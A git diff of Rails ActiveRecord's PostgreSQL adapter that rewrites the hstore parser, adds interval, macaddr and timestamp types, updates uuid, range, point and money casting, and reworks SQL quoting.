--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
@@ -1,24 +1,71 @@
+# frozen_string_literal: true
+
+require "strscan"
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Hstore < Type::Value # :nodoc:
-          include Type::Helpers::Mutable
+          ERROR = "Invalid Hstore document: %s"
+
+          include ActiveModel::Type::Helpers::Mutable
 
           def type
             :hstore
           end
 
           def deserialize(value)
-            if value.is_a?(::String)
-              ::Hash[value.scan(HstorePair).map { |k, v|
-                v = v.upcase == "NULL" ? nil : v.gsub(/\A"(.*)"\Z/m, '\1').gsub(/\\(.)/, '\1')
-                k = k.gsub(/\A"(.*)"\Z/m, '\1').gsub(/\\(.)/, '\1')
-                [k, v]
-              }]
-            else
-              value
+            return value unless value.is_a?(::String)
+
+            scanner = StringScanner.new(value)
+            hash = {}
+
+            until scanner.eos?
+              unless scanner.skip(/"/)
+                raise(ArgumentError, ERROR % scanner.string.inspect)
+              end
+
+              unless key = scanner.scan(/^(\\[\\"]|[^\\"])*?(?=")/)
+                raise(ArgumentError, ERROR % scanner.string.inspect)
+              end
+
+              unless scanner.skip(/"=>?/)
+                raise(ArgumentError, ERROR % scanner.string.inspect)
+              end
+
+              if scanner.scan(/NULL/)
+                value = nil
+              else
+                unless scanner.skip(/"/)
+                  raise(ArgumentError, ERROR % scanner.string.inspect)
+                end
+
+                unless value = scanner.scan(/^(\\[\\"]|[^\\"])*?(?=")/)
+                  raise(ArgumentError, ERROR % scanner.string.inspect)
+                end
+
+                unless scanner.skip(/"/)
+                  raise(ArgumentError, ERROR % scanner.string.inspect)
+                end
+              end
+
+              key.gsub!('\"', '"')
+              key.gsub!("\\\\", "\\")
+
+              if value
+                value.gsub!('\"', '"')
+                value.gsub!("\\\\", "\\")
+              end
+
+              hash[key] = value
+
+              unless scanner.skip(/, /) || scanner.eos?
+                raise(ArgumentError, ERROR % scanner.string.inspect)
+              end
             end
+
+            hash
           end
 
           def serialize(value)
@@ -44,13 +91,6 @@ def changed_in_place?(raw_old_value, new_value)
           end
 
           private
-
-            HstorePair = begin
-              quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
-              unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
-              /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
-            end
-
             def escape_hstore(value)
               if value.nil?
                 "NULL"
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
index 96486fa65bea4..55be71fd26a71 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval.rb
new file mode 100644
index 0000000000000..e52e851be1cef
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "active_support/duration"
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Interval < Type::Value # :nodoc:
+          def type
+            :interval
+          end
+
+          def cast_value(value)
+            case value
+            when ::ActiveSupport::Duration
+              value
+            when ::String
+              begin
+                ::ActiveSupport::Duration.parse(value)
+              rescue ::ActiveSupport::Duration::ISO8601Parser::ParsingError
+                nil
+              end
+            else
+              super
+            end
+          end
+
+          def serialize(value)
+            case value
+            when ::ActiveSupport::Duration
+              value.iso8601(precision: self.precision)
+            when ::Numeric
+              # Sometimes operations on Times returns just float number of seconds so we need to handle that.
+              # Example: Time.current - (Time.current + 1.hour) # => -3600.000001776 (Float)
+              ActiveSupport::Duration.build(value).iso8601(precision: self.precision)
+            else
+              super
+            end
+          end
+
+          def type_cast_for_schema(value)
+            serialize(value).inspect
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
deleted file mode 100644
index dbc879ffd42d2..0000000000000
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters
-    module PostgreSQL
-      module OID # :nodoc:
-        class Json < Type::Internal::AbstractJson
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
index 87391b5dc7571..e0216f108916c 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
@@ -1,21 +1,13 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
-        class Jsonb < Json # :nodoc:
+        class Jsonb < Type::Json # :nodoc:
           def type
             :jsonb
           end
-
-          def changed_in_place?(raw_old_value, new_value)
-            # Postgres does not preserve insignificant whitespaces when
-            # round-tripping jsonb columns. This causes some false positives for
-            # the comparison here. Therefore, we need to parse and re-dump the
-            # raw value here to ensure the insignificant whitespaces are
-            # consistent with our encoder's output.
-            raw_old_value = serialize(deserialize(raw_old_value))
-            super(raw_old_value, new_value)
-          end
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb
index 775eecaf85e93..687f75956b623 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class LegacyPoint < Type::Value # :nodoc:
-          include Type::Helpers::Mutable
+          include ActiveModel::Type::Helpers::Mutable
 
           def type
             :point
@@ -12,7 +14,7 @@ def type
           def cast(value)
             case value
             when ::String
-              if value[0] == "(" && value[-1] == ")"
+              if value.start_with?("(") && value.end_with?(")")
                 value = value[1...-1]
               end
               cast(value.split(","))
@@ -32,9 +34,8 @@ def serialize(value)
           end
 
           private
-
             def number_for_point(number)
-              number.to_s.gsub(/\.0$/, "")
+              number.to_s.delete_suffix(".0")
             end
         end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr.rb
new file mode 100644
index 0000000000000..13e77c6ab3efa
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Macaddr < Type::String # :nodoc:
+          def type
+            :macaddr
+          end
+
+          def changed?(old_value, new_value, _new_value_before_type_cast)
+            old_value.class != new_value.class ||
+              new_value && old_value.casecmp(new_value) != 0
+          end
+
+          def changed_in_place?(raw_old_value, new_value)
+            raw_old_value.class != new_value.class ||
+              new_value && raw_old_value.casecmp(new_value) != 0
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
index 7a91272d1c5a1..86310407bfe75 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -22,12 +24,13 @@ def cast_value(value)
             #  (3) -$2.55
             #  (4) ($2.55)
 
-            value.sub!(/^\((.+)\)$/, '-\1') # (4)
+            value = value.sub(/^\((.+)\)$/, '-\1') # (4)
             case value
-            when /^-?\D+[\d,]+\.\d{2}$/  # (1)
-              value.gsub!(/[^-\d.]/, "")
-            when /^-?\D+[\d.]+,\d{2}$/  # (2)
-              value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
+            when /^-?\D*+[\d,]+\.\d{2}$/  # (1)
+              value.delete!("^-0-9.")
+            when /^-?\D*+[\d.]+,\d{2}$/  # (2)
+              value.delete!("^-0-9,")
+              value.tr!(",", ".")
             end
 
             super(value)
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb
index 9c2ac08b303bf..86d84b00ec513 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
-        class Oid < Type::Integer # :nodoc:
+        class Oid < Type::UnsignedInteger # :nodoc:
           def type
             :oid
           end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
index 7c764e7287dd9..dc8e67fe73faf 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   Point = Struct.new(:x, :y)
 
@@ -5,7 +7,7 @@ module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Point < Type::Value # :nodoc:
-          include Type::Helpers::Mutable
+          include ActiveModel::Type::Helpers::Mutable
 
           def type
             :point
@@ -16,13 +18,17 @@ def cast(value)
             when ::String
               return if value.blank?
 
-              if value[0] == "(" && value[-1] == ")"
+              if value.start_with?("(") && value.end_with?(")")
                 value = value[1...-1]
               end
               x, y = value.split(",")
               build_point(x, y)
             when ::Array
               build_point(*value)
+            when ::Hash
+              return if value.blank?
+
+              build_point(*values_array_from_hash(value))
             else
               value
             end
@@ -34,6 +40,8 @@ def serialize(value)
               "(#{number_for_point(value.x)},#{number_for_point(value.y)})"
             when ::Array
               serialize(build_point(*value))
+            when ::Hash
+              serialize(build_point(*values_array_from_hash(value)))
             else
               super
             end
@@ -48,14 +56,17 @@ def type_cast_for_schema(value)
           end
 
           private
-
             def number_for_point(number)
-              number.to_s.gsub(/\.0$/, "")
+              number.to_s.delete_suffix(".0")
             end
 
             def build_point(x, y)
               ActiveRecord::Point.new(Float(x), Float(y))
             end
+
+            def values_array_from_hash(value)
+              [value.values_at(:x, "x").compact.first, value.values_at(:y, "y").compact.first]
+            end
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
index 54d5d0902e463..ed674a5053781 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -16,7 +18,7 @@ def type_cast_for_schema(value)
           end
 
           def cast_value(value)
-            return if value == "empty"
+            return if ["empty", ""].include? value
             return value unless value.is_a?(::String)
 
             extracted = extract_bounds(value)
@@ -26,14 +28,14 @@ def cast_value(value)
             if !infinity?(from) && extracted[:exclude_start]
               raise ArgumentError, "The Ruby Range object does not support excluding the beginning of a Range. (unsupported value: '#{value}')"
             end
-            ::Range.new(from, to, extracted[:exclude_end])
+            ::Range.new(*sanitize_bounds(from, to), extracted[:exclude_end])
           end
 
           def serialize(value)
             if value.is_a?(::Range)
               from = type_cast_single_for_database(value.begin)
               to = type_cast_single_for_database(value.end)
-              "[#{from},#{to}#{value.exclude_end? ? ')' : ']'}"
+              ::Range.new(from, to, value.exclude_end?)
             else
               super
             end
@@ -51,26 +53,57 @@ def map(value) # :nodoc:
             ::Range.new(new_begin, new_end, value.exclude_end?)
           end
 
-          private
+          def force_equality?(value)
+            value.is_a?(::Range)
+          end
 
+          private
             def type_cast_single(value)
               infinity?(value) ? value : @subtype.deserialize(value)
             end
 
             def type_cast_single_for_database(value)
-              infinity?(value) ? "" : @subtype.serialize(value)
+              infinity?(value) ? value : @subtype.serialize(@subtype.cast(value))
             end
 
             def extract_bounds(value)
-              from, to = value[1..-2].split(",")
+              from, to = value[1..-2].split(",", 2)
               {
-                from:          (value[1] == "," || from == "-infinity") ? infinity(negative: true) : from,
-                to:            (value[-2] == "," || to == "infinity") ? infinity : to,
-                exclude_start: (value[0] == "("),
-                exclude_end:   (value[-1] == ")")
+                from:          (from == "" || from == "-infinity") ? infinity(negative: true) : unquote(from),
+                to:            (to == "" || to == "infinity") ? infinity : unquote(to),
+                exclude_start: value.start_with?("("),
+                exclude_end:   value.end_with?(")")
               }
             end
 
+            INFINITE_FLOAT_RANGE = (-::Float::INFINITY)..(::Float::INFINITY) # :nodoc:
+
+            def sanitize_bounds(from, to)
+              [
+                (from == -::Float::INFINITY && !INFINITE_FLOAT_RANGE.cover?(to)) ? nil : from,
+                (to == ::Float::INFINITY && !INFINITE_FLOAT_RANGE.cover?(from)) ? nil : to
+              ]
+            end
+
+            # When formatting the bound values of range types, PostgreSQL quotes
+            # the bound value using double-quotes in certain conditions. Within
+            # a double-quoted string, literal " and \ characters are themselves
+            # escaped. In input, PostgreSQL accepts multiple escape styles for "
+            # (either \" or "") but in output always uses "".
+            # See:
+            # * https://www.postgresql.org/docs/current/rangetypes.html#RANGETYPES-IO
+            # * https://www.postgresql.org/docs/current/rowtypes.html#ROWTYPES-IO-SYNTAX
+            def unquote(value)
+              if value.start_with?('"') && value.end_with?('"')
+                unquoted_value = value[1..-2]
+                unquoted_value.gsub!('""', '"')
+                unquoted_value.gsub!("\\\\", "\\")
+                unquoted_value
+              else
+                value
+              end
+            end
+
             def infinity(negative: false)
               if subtype.respond_to?(:infinity)
                 subtype.infinity(negative: negative)
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
index 564e82a4ac9e2..80316b35feba8 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -7,7 +9,7 @@ class SpecializedString < Type::String # :nodoc:
 
           def initialize(type, **options)
             @type = type
-            super(options)
+            super(**options)
           end
         end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp.rb
new file mode 100644
index 0000000000000..e6326ab0d558c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Timestamp < DateTime # :nodoc:
+          def type
+            real_type_unless_aliased(:timestamp)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone.rb
new file mode 100644
index 0000000000000..9b99eae87d0b3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class TimestampWithTimeZone < DateTime # :nodoc:
+          def type
+            real_type_unless_aliased(:timestamptz)
+          end
+
+          def cast_value(value)
+            return if value.blank?
+
+            time = super
+            return time if time.is_a?(ActiveSupport::TimeWithZone) || !time.acts_like?(:time)
+
+            # While in UTC mode, the PG gem may not return times back in "UTC" even if they were provided to PostgreSQL in UTC.
+            # We prefer times always in UTC, so here we convert back.
+            if is_utc?
+              time.getutc
+            else
+              time.getlocal
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
index d9ae1aa7a2f33..9608bafe00e29 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract"
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
@@ -14,12 +18,12 @@ def initialize(store)
 
           def run(records)
             nodes = records.reject { |row| @store.key? row["oid"].to_i }
-            mapped, nodes = nodes.partition { |row| @store.key? row["typname"] }
-            ranges, nodes = nodes.partition { |row| row["typtype"] == "r".freeze }
-            enums, nodes = nodes.partition { |row| row["typtype"] == "e".freeze }
-            domains, nodes = nodes.partition { |row| row["typtype"] == "d".freeze }
-            arrays, nodes = nodes.partition { |row| row["typinput"] == "array_in".freeze }
-            composites, nodes = nodes.partition { |row| row["typelem"].to_i != 0 }
+            mapped = nodes.extract! { |row| @store.key? row["typname"] }
+            ranges = nodes.extract! { |row| row["typtype"] == "r" }
+            enums = nodes.extract! { |row| row["typtype"] == "e" }
+            domains = nodes.extract! { |row| row["typtype"] == "d" }
+            arrays = nodes.extract! { |row| row["typinput"] == "array_in" }
+            composites = nodes.extract! { |row| row["typelem"].to_i != 0 }
 
             mapped.each     { |row| register_mapped_type(row)    }
             enums.each      { |row| register_enum_type(row)      }
@@ -29,15 +33,27 @@ def run(records)
             composites.each { |row| register_composite_type(row) }
           end
 
-          def query_conditions_for_initial_load(type_map)
-            known_type_names = type_map.keys.map { |n| "'#{n}'" }
-            known_type_types = %w('r' 'e' 'd')
-            <<-SQL % [known_type_names.join(", "), known_type_types.join(", ")]
+          def query_conditions_for_known_type_names
+            known_type_names = @store.keys.map { |n| "'#{n}'" }
+            <<~SQL % known_type_names.join(", ")
               WHERE
                 t.typname IN (%s)
-                OR t.typtype IN (%s)
-                OR t.typinput = 'array_in(cstring,oid,integer)'::regprocedure
-                OR t.typelem != 0
+            SQL
+          end
+
+          def query_conditions_for_known_type_types
+            known_type_types = %w('r' 'e' 'd')
+            <<~SQL % known_type_types.join(", ")
+              WHERE
+                t.typtype IN (%s)
+            SQL
+          end
+
+          def query_conditions_for_array_types
+            known_type_oids = @store.keys.reject { |k| k.is_a?(String) }
+            <<~SQL % [known_type_oids.join(", ")]
+              WHERE
+                t.typelem IN (%s)
             SQL
           end
 
@@ -52,7 +68,7 @@ def register_enum_type(row)
 
             def register_array_type(row)
               register_with_subtype(row["oid"], row["typelem"].to_i) do |subtype|
-                OID::Array.new(subtype, row["typdelim"])
+                OID::Array.new(subtype, row["typdelim"].freeze)
               end
             end
 
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
index 5e839228e9fa0..6f81917e313e2 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
@@ -1,19 +1,43 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module OID # :nodoc:
         class Uuid < Type::Value # :nodoc:
-          ACCEPTABLE_UUID = %r{\A\{?([a-fA-F0-9]{4}-?){8}\}?\z}x
+          ACCEPTABLE_UUID = %r{\A(\{)?([a-fA-F0-9]{4}-?){8}(?(1)\}|)\z}
+          CANONICAL_UUID = %r{\A[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}\z}
 
-          alias_method :serialize, :deserialize
+          alias :serialize :deserialize
 
           def type
             :uuid
           end
 
-          def cast(value)
-            value.to_s[ACCEPTABLE_UUID, 0]
+          def changed?(old_value, new_value, _new_value_before_type_cast)
+            old_value.class != new_value.class ||
+              new_value != old_value
+          end
+
+          def changed_in_place?(raw_old_value, new_value)
+            raw_old_value.class != new_value.class ||
+              new_value != raw_old_value
           end
+
+          private
+            def cast_value(value)
+              value = value.to_s
+              format_uuid(value) if value.match?(ACCEPTABLE_UUID)
+            end
+
+            def format_uuid(uuid)
+              if uuid.match?(CANONICAL_UUID)
+                uuid
+              else
+                uuid = uuid.delete("{}-").downcase
+                "#{uuid[..7]}-#{uuid[8..11]}-#{uuid[12..15]}-#{uuid[16..19]}-#{uuid[20..]}"
+              end
+            end
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
index b26e876b543a6..88ef626a16449 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
index d40d837cee0c9..042f32fdc35e4 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
index 6663448a992c1..5cb0346fde78f 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -1,52 +1,146 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module Quoting
+        extend ActiveSupport::Concern
+
+        QUOTED_COLUMN_NAMES = Concurrent::Map.new # :nodoc:
+        QUOTED_TABLE_NAMES = Concurrent::Map.new # :nodoc:
+
+        module ClassMethods # :nodoc:
+          def column_name_matcher
+            /
+              \A
+              (
+                (?:
+                  # "schema_name"."table_name"."column_name"::type_name | function(one or no argument)::type_name
+                  ((?:\w+\.|"\w+"\.){,2}(?:\w+|"\w+")(?:::\w+)? | \w+\((?:|\g<2>)\)(?:::\w+)?)
+                )
+                (?:(?:\s+AS)?\s+(?:\w+|"\w+"))?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          def column_name_with_order_matcher
+            /
+              \A
+              (
+                (?:
+                  # "schema_name"."table_name"."column_name"::type_name | function(one or no argument)::type_name
+                  ((?:\w+\.|"\w+"\.){,2}(?:\w+|"\w+")(?:::\w+)? | \w+\((?:|\g<2>)\)(?:::\w+)?)
+                )
+                (?:\s+COLLATE\s+"\w+")?
+                (?:\s+ASC|\s+DESC)?
+                (?:\s+NULLS\s+(?:FIRST|LAST))?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          # Quotes column names for use in SQL queries.
+          def quote_column_name(name) # :nodoc:
+            QUOTED_COLUMN_NAMES[name] ||= PG::Connection.quote_ident(name.to_s).freeze
+          end
+
+          # Checks the following cases:
+          #
+          # - table_name
+          # - "table.name"
+          # - schema_name.table_name
+          # - schema_name."table.name"
+          # - "schema.name".table_name
+          # - "schema.name"."table.name"
+          def quote_table_name(name) # :nodoc:
+            QUOTED_TABLE_NAMES[name] ||= Utils.extract_schema_qualified_name(name.to_s).quoted.freeze
+          end
+        end
+
+        class IntegerOutOf64BitRange < StandardError
+          def initialize(msg)
+            super(msg)
+          end
+        end
+
         # Escapes binary strings for bytea input to the database.
         def escape_bytea(value)
-          @connection.escape_bytea(value) if value
+          valid_raw_connection.escape_bytea(value) if value
         end
 
         # Unescapes bytea output from a database to the binary string it represents.
         # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
         # on escaped binary output from database drive.
         def unescape_bytea(value)
-          @connection.unescape_bytea(value) if value
+          valid_raw_connection.unescape_bytea(value) if value
         end
 
-        # Quotes strings for use in SQL input.
-        def quote_string(s) #:nodoc:
-          @connection.escape(s)
+        def check_int_in_range(value)
+          if value.to_int > 9223372036854775807 || value.to_int < -9223372036854775808
+            exception = <<~ERROR
+              Provided value outside of the range of a signed 64bit integer.
+
+              PostgreSQL will treat the column type in question as a numeric.
+              This may result in a slow sequential scan due to a comparison
+              being performed between an integer or bigint value and a numeric value.
+
+              To allow for this potentially unwanted behavior, set
+              ActiveRecord.raise_int_wider_than_64bit to false.
+            ERROR
+            raise IntegerOutOf64BitRange.new exception
+          end
         end
 
-        # Checks the following cases:
-        #
-        # - table_name
-        # - "table.name"
-        # - schema_name.table_name
-        # - schema_name."table.name"
-        # - "schema.name".table_name
-        # - "schema.name"."table.name"
-        def quote_table_name(name) # :nodoc:
-          @quoted_table_names[name] ||= Utils.extract_schema_qualified_name(name.to_s).quoted.freeze
+        def quote(value) # :nodoc:
+          if ActiveRecord.raise_int_wider_than_64bit && value.is_a?(Integer)
+            check_int_in_range(value)
+          end
+
+          case value
+          when OID::Xml::Data
+            "xml '#{quote_string(value.to_s)}'"
+          when OID::Bit::Data
+            if value.binary?
+              "B'#{value}'"
+            elsif value.hex?
+              "X'#{value}'"
+            end
+          when Numeric
+            if value.finite?
+              super
+            else
+              "'#{value}'"
+            end
+          when OID::Array::Data
+            quote(encode_array(value))
+          when Range
+            quote(encode_range(value))
+          else
+            super
+          end
         end
 
-        # Quotes schema names for use in SQL queries.
-        def quote_schema_name(name)
-          PGconn.quote_ident(name)
+        # Quotes strings for use in SQL input.
+        def quote_string(s) # :nodoc:
+          with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|
+            connection.escape(s)
+          end
         end
 
         def quote_table_name_for_assignment(table, attr)
           quote_column_name(attr)
         end
 
-        # Quotes column names for use in SQL queries.
-        def quote_column_name(name) # :nodoc:
-          @quoted_column_names[name] ||= PGconn.quote_ident(super).freeze
+        # Quotes schema names for use in SQL queries.
+        def quote_schema_name(schema_name)
+          quote_column_name(schema_name)
         end
 
         # Quote date/time values for use in SQL input.
-        def quoted_date(value) #:nodoc:
+        def quoted_date(value) # :nodoc:
           if value.year <= 0
             bce_year = format("%04d", -value.year + 1)
             super.sub(/^-?\d+/, bce_year) + " BC"
@@ -59,64 +153,46 @@ def quoted_binary(value) # :nodoc:
           "'#{escape_bytea(value.to_s)}'"
         end
 
+        # `column` may be either an instance of Column or ColumnDefinition.
         def quote_default_expression(value, column) # :nodoc:
           if value.is_a?(Proc)
             value.call
-          elsif column.type == :uuid && value.include?("()")
+          elsif column.type == :uuid && value.is_a?(String) && value.include?("()")
             value # Does not quote function default values for UUID columns
           elsif column.respond_to?(:array?)
-            value = type_cast_from_column(column, value)
-            quote(value)
+            # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+            quote(column.fetch_cast_type(self).serialize(value))
           else
             super
           end
         end
 
-        def lookup_cast_type_from_column(column) # :nodoc:
-          type_map.lookup(column.oid, column.fmod, column.sql_type)
-        end
-
-        private
-
-          def _quote(value)
-            case value
-            when OID::Xml::Data
-              "xml '#{quote_string(value.to_s)}'"
-            when OID::Bit::Data
-              if value.binary?
-                "B'#{value}'"
-              elsif value.hex?
-                "X'#{value}'"
-              end
-            when Float
-              if value.infinite? || value.nan?
-                "'#{value}'"
-              else
-                super
-              end
-            when OID::Array::Data
-              _quote(encode_array(value))
-            else
-              super
-            end
+        def type_cast(value) # :nodoc:
+          case value
+          when Type::Binary::Data
+            # Return a bind param hash with format as binary.
+            # See https://deveiate.org/code/pg/PG/Connection.html#method-i-exec_prepared-doc
+            # for more information
+            { value: value.to_s, format: 1 }
+          when OID::Xml::Data, OID::Bit::Data
+            value.to_s
+          when OID::Array::Data
+            encode_array(value)
+          when Range
+            encode_range(value)
+          when Rational
+            value.to_f
+          else
+            super
           end
+        end
 
-          def _type_cast(value)
-            case value
-            when Type::Binary::Data
-              # Return a bind param hash with format as binary.
-              # See http://deveiate.org/code/pg/PGconn.html#method-i-exec_prepared-doc
-              # for more information
-              { value: value.to_s, format: 1 }
-            when OID::Xml::Data, OID::Bit::Data
-              value.to_s
-            when OID::Array::Data
-              encode_array(value)
-            else
-              super
-            end
-          end
+        # TODO: Make this method private after we release 8.1.
+        def lookup_cast_type(sql_type) # :nodoc:
+          super(query_value("SELECT #{quote(sql_type)}::regtype::oid").to_i)
+        end
 
+        private
           def encode_array(array_data)
             encoder = array_data.encoder
             values = type_cast_array(array_data.values)
@@ -128,6 +204,19 @@ def encode_array(array_data)
             result
           end
 
+          def encode_range(range)
+            lower_bound, upper_bound = if date_or_time_range?(range)
+              type_cast_time_range_values(range)
+            else
+              [
+                type_cast_range_value(range.begin),
+                type_cast_range_value(range.end)
+              ]
+            end
+
+            "[#{lower_bound},#{upper_bound}#{range.exclude_end? ? ')' : ']'}"
+          end
+
           def determine_encoding_of_strings_in_array(value)
